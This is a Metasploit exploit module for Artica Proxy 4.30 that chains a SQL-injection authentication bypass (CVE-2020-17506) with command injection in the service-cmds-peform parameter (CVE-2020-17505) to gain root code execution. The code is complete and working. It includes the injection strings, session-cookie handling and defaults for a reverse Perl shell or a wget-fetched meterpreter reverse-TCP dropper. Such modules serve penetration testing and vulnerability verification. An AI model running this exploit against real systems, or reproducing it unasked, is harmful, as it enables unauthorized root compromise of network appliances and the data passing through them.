## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'Artica proxy 4.30.000000 Auth Bypass service-cmds-peform Command Injection', 'Description' => %q{ This module exploits an authenticated command injection vulnerability in Artica Proxy, combined with an authentication bypass discovered on the same version, it is possible to trigger the vulnerability without knowing the credentials. The application runs in virtual appliance, successful exploitation of this vulnerability yields remote code execution as root on the remote system. }, 'License' => MSF_LICENSE, 'Author' => [ 'Max0x4141', # discovery 'Redouane NIBOUCHA ' # msf module ], 'References' => [ ['CVE', '2020-17505'], # RCE ['CVE', '2020-17506'], # Auth bypass ['EDB', '48744'], ['PACKETSTORM', '158868'], ['URL', 'https://blog.max0x4141.com/post/artica_proxy/'] ], 'DefaultOptions' => { 'SSL' => true, 'RPort' => 9000 }, 'Platform' => %w[unix linux], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Targets' => [ [ 'Unix Command', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_command, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' } ], [ 'Linux Dropper', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, 'DefaultOptions' => { 'CMDSTAGER::FLAVOR' => 'wget', 'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp' } ] ], 'Privileged' => true, 'DisclosureDate' => '2020-08-09', 'DefaultTarget' => 1, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'The URI of the vulnerable Artica Proxy', '/']), OptString.new('PHPSESSID', [false, 'The cookie obtained after successful authentication, if present']) ] ) # XXX: https://github.com/rapid7/metasploit-framework/issues/12963 import_target_defaults end def check if datastore['PHPSESSID'] @phpsessid = datastore['PHPSESSID'] else check_result = auth_bypass return check_result unless check_result == CheckCode::Vulnerable @phpsessid = check_result.reason end rand_string = Rex::Text.rand_text_alphanumeric(4..16) if execute_command("echo #{Rex::Text.encode_base64(rand_string)}|base64 -d").include?(rand_string) CheckCode::Appears else CheckCode::Safe end end def execute_command(cmd, _opts = {}) print_status 'Attempting to gain RCE via CVE-2020-17505' res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'cyrus.index.php'), 'vars_get' => { 'service-cmds-peform' => "||#{Rex::Text.uri_encode(cmd, 'hex-all')}||" }, 'cookie' => "PHPSESSID=#{@phpsessid}; AsWebStatisticsCooKie=1; shellinaboxCooKie=1" }) res ? res.body : '' end def auth_bypass serialized_object = 'a:2:{s:3:"uid";s:4:"-100";s:22:"ACTIVE_DIRECTORY_INDEX";s:1:"1";}' apikey = "' UNION select 1,'#{Rex::Text.encode_base64(serialized_object)}';" res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'fw.login.php'), 'vars_get' => { 'apikey' => apikey } }) return Exploit::CheckCode::Unknown("Unable to connect to #{target_uri.path}") unless res return Exploit::CheckCode::Safe('Authentication failed') unless res && [200, 301, 302].include?(res.code) Exploit::CheckCode::Vulnerable(res.get_cookies[/PHPSESSID=(.+?);/, 1]) end def exploit if datastore['PHPSESSID'] @phpsessid = datastore['PHPSESSID'] else print_status 'Attempting to bypass authentication via CVE-2020-17506 (SQL injection)' bypass_result = auth_bypass case bypass_result when CheckCode::Safe then fail_with(Failure::NoAccess, bypass_result.reason) when CheckCode::Unknown then fail_with(Failure::Unknown, bypass_result.reason) else @phpsessid = bypass_result.reason end end print_good "Session cookie : #{@phpsessid}" case target['Type'] when :unix_command then execute_command(payload.encoded) when :linux_dropper then execute_cmdstager else fail_with(Failure::BadConfig, 'Invalid target specified') end end end